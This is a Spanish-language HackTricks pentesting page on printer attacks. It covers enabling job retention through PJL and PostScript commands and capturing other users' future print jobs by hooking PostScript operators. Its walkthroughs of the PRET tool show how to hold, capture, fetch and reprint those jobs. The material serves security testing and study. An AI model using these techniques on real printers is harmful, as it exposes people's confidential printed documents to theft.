mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-04 02:20:20 +00:00
129 lines
10 KiB
Markdown
129 lines
10 KiB
Markdown
|
<details>
|
||
|
|
||
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||
|
|
||
|
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||
|
|
||
|
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
|
|
||
|
- Consigue la [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||
|
|
||
|
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||
|
|
||
|
- **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||
|
|
||
|
</details>
|
||
|
|
||
|
|
||
|
# Retención de trabajos
|
||
|
|
||
|
Algunas impresoras tienen trabajos de impresión almacenados accesibles desde el servidor web. Sin embargo, por lo general, la retención de trabajos debe activarse explícitamente para un determinado trabajo de impresión y se puede hacer mediante comandos PJL estándar o código PostScript propietario. Los trabajos se mantienen en memoria y se pueden reimprimir desde el panel de control.
|
||
|
|
||
|
## PJL
|
||
|
|
||
|
La retención legítima de trabajos se puede habilitar para el documento actual estableciendo la variable PJL HOLD como se muestra a continuación:
|
||
|
```
|
||
|
@PJL SET HOLD=ON
|
||
|
[actual data to be printed follows]
|
||
|
```
|
||
|
Los trabajos retenidos se mantienen en memoria y pueden ser reimpresos desde el panel de control de la impresora. Esta característica es compatible con varias impresoras, sin embargo, parece que solo algunos dispositivos Epson permiten establecer la retención permanente de trabajos mediante `@PJL DEFAULT HOLD=ON`.
|
||
|
|
||
|
**¿Cómo probar este ataque?**
|
||
|
|
||
|
Utilice el comando `hold` de [**PRET**](https://github.com/RUB-NDS/PRET) en modo pjl y verifique si se puede establecer la retención permanente de trabajos:
|
||
|
```
|
||
|
./pret.py -q printer pjl
|
||
|
Connection to printer established
|
||
|
|
||
|
Welcome to the pret shell. Type help or ? to list commands.
|
||
|
printer:/> hold
|
||
|
Setting job retention, reconnecting to see if still enabled
|
||
|
Retention for future print jobs: OFF
|
||
|
```
|
||
|
## PostScript
|
||
|
|
||
|
PostScript ofrece funcionalidades similares, pero específicas del modelo y del proveedor. Para las series HP LaserJet 4k y varias impresoras Kyocera, se puede habilitar la retención de trabajos mediante la adición de los siguientes comandos al documento PostScript:
|
||
|
```
|
||
|
<< /Collate true /CollateDetails
|
||
|
<< /Hold 1 /Type 8 >> >> setpagedevice
|
||
|
```
|
||
|
Aunque teóricamente es posible habilitar permanentemente la retención de trabajos PostScript utilizando el operador [startjob](./#postscript-ps), esta configuración se restablece explícitamente por CUPS al comienzo de cada trabajo de impresión utilizando `<< /Collate false >> setpagedevice`. Para contrarrestar este mecanismo de protección, el atacante puede redefinir permanentemente el operador `setpagedevice` para que no tenga ningún efecto.
|
||
|
|
||
|
**¿Cómo probar este ataque?**
|
||
|
|
||
|
Usa el comando `hold` de [**PRET**](https://github.com/RUB-NDS/PRET) en modo ps:
|
||
|
```
|
||
|
./pret.py -q printer ps
|
||
|
Connection to printer established
|
||
|
|
||
|
Welcome to the pret shell. Type help or ? to list commands.
|
||
|
printer:/> hold
|
||
|
Job retention enabled.
|
||
|
```
|
||
|
# Captura de trabajos
|
||
|
|
||
|
Es posible, aunque poco común, activar la retención de trabajos en el diálogo de impresión como se discutió anteriormente. Sin embargo, con PostScript se tiene acceso completo sobre el trabajo de impresión actual y con el operador [startjob](./#postscript-ps), incluso es posible salir del ciclo del servidor y acceder a trabajos futuros. Tal funcionalidad tiene el potencial de capturar todos los documentos si se utiliza PostScript como controlador de impresora.
|
||
|
|
||
|
## PostScript
|
||
|
|
||
|
Con la capacidad de conectarse a operadores arbitrarios de PostScript, es posible manipular y acceder a trabajos de impresión ajenos. Para **analizar la secuencia de datos real enviada a la impresora**, se puede aplicar una característica bastante interesante del lenguaje PostScript: leer su propio código de programa como datos utilizando el operador `currentfile`. De esta manera, toda la secuencia de datos que debe ser procesada por el intérprete de PostScript se puede acceder mediante la lectura y almacenamiento en un archivo en el dispositivo de la impresora. Si la impresora no ofrece acceso al sistema de archivos, los **documentos capturados se pueden almacenar en la memoria**, por ejemplo, dentro de diccionarios permanentes de PostScript. \
|
||
|
Un problema práctico es decidir **qué operador debe ser conectado** ya que no se tiene acceso a la secuencia de datos hasta que este operador es procesado por el intérprete de PostScript. Como un atacante quiere capturar trabajos de impresión desde el principio, el **operador redefinido debe ser el primer operador** contenido en el documento de PostScript. Afortunadamente, todos los documentos impresos con CUPS se comprimen en una estructura fija que comienza con `currentfile /ASCII85Decode filter /LZWDecode filter cvx exec`. Basándose en la suposición de tal estructura fija, el atacante puede capturar documentos desde el principio y ejecutar (es decir, imprimir) el archivo posteriormente. Para sistemas de impresión **diferentes a CUPS**, este ataque también debería ser posible, pero **los operadores deben ser adaptados**. Tenga en cuenta que el encabezado de PostScript que generalmente incluye el tamaño del medio, el usuario y los nombres de trabajo no se pueden capturar utilizando este método porque primero se conecta al comienzo del documento real. Otra estrategia genérica para conectarse al comienzo de cada trabajo de impresión es establecer el parámetro del sistema `BeginPage`, si es compatible con la impresora (la mayoría de las impresoras lo hacen). Esta vulnerabilidad probablemente ha estado presente en dispositivos de impresión durante décadas, ya que se abusan únicamente de las construcciones de lenguaje definidas por el estándar PostScript.
|
||
|
|
||
|
Use el comando `capture` de [**PRET**](https://github.com/RUB-NDS/PRET) en modo ps:
|
||
|
```
|
||
|
./pret.py -q printer ps
|
||
|
Connection to printer established
|
||
|
|
||
|
Welcome to the pret shell. Type help or ? to list commands.
|
||
|
|
||
|
printer:/> capture
|
||
|
Print job operations: capture <operation>
|
||
|
capture start - Record future print jobs.
|
||
|
capture stop - End capturing print jobs.
|
||
|
capture list - Show captured print jobs.
|
||
|
capture fetch - Save captured print jobs.
|
||
|
capture print - Reprint saved print jobs.
|
||
|
printer:/> capture start
|
||
|
Future print jobs will be captured in memory!
|
||
|
printer:/> exit
|
||
|
```
|
||
|
Ahora, imprima documentos arbitrarios (asegúrese de que PRET esté desconectado para no bloquear el canal de impresión). Después, puede listar, recuperar o reimprimir los documentos capturados:
|
||
|
```
|
||
|
./pret.py -q printer ps
|
||
|
Connection to printer established
|
||
|
|
||
|
Welcome to the pret shell. Type help or ? to list commands.
|
||
|
printer:/> capture list
|
||
|
Free virtual memory: 16.6M | Limit to capture: 5.0M
|
||
|
date size user jobname creator
|
||
|
───────────────────────────────────────────────────────────────────────────────
|
||
|
Jan 25 18:38 3.1M - - -
|
||
|
Jan 25 18:40 170K - - -
|
||
|
printer:/> capture fetch
|
||
|
Receiving capture/printer/690782792
|
||
|
3239748 bytes received.
|
||
|
Receiving capture/printer/690646210
|
||
|
174037 bytes received.
|
||
|
printer:/> capture print
|
||
|
printing...
|
||
|
printing...
|
||
|
2 jobs reprinted
|
||
|
printer:/> capture stop
|
||
|
Stopping job capture, deleting recorded jobs
|
||
|
```
|
||
|
<details>
|
||
|
|
||
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||
|
|
||
|
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||
|
|
||
|
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
|
|
||
|
- Obtén la [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||
|
|
||
|
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||
|
|
||
|
- **Comparte tus trucos de hacking enviando PRs al repositorio [hacktricks](https://github.com/carlospolop/hacktricks) y al repositorio [hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||
|
|
||
|
</details>
|